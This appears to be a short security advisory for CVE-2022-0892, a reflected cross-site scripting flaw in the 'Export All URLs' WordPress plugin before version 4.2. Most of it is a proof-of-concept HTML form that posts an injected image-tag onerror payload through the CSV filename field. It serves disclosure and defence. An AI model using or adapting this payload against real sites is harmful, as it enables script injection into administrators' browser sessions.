Export All URLs < 4.2 – Reflected Cross-Site Scripting | CVE 2022-0892

Description

The plugin does not sanitise and escape the CSV filename before outputting it back in the page, leading to a Reflected Cross-Site Scripting

Proof of Concept

<html>
  <body>
    <form action="https://example.com/wp-admin/tools.php?page=extract-all-urls-settings" method="POST">
      <input type="hidden" name="post-type" value="any" />
      <input type="hidden" name="additional-data[]" value="title" />
      <input type="hidden" name="post-status" value="publish" />
      <input type="hidden" name="posts-from" value="" />
      <input type="hidden" name="posts-upto" value="" />
      <input type="hidden" name="post-author" value="all" />
      <input type="hidden" name="number-of-posts" value="all" />
      <input type="hidden" name="starting-point" value="" />
      <input type="hidden" name="ending-point" value="" />
      <input type="hidden" name="csv-file-name" value="'><img src onerror=alert(`XSS`)>" />
      <input type="hidden" name="export-type" value="text" />
      <input type="hidden" name="export" value="Export Now" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>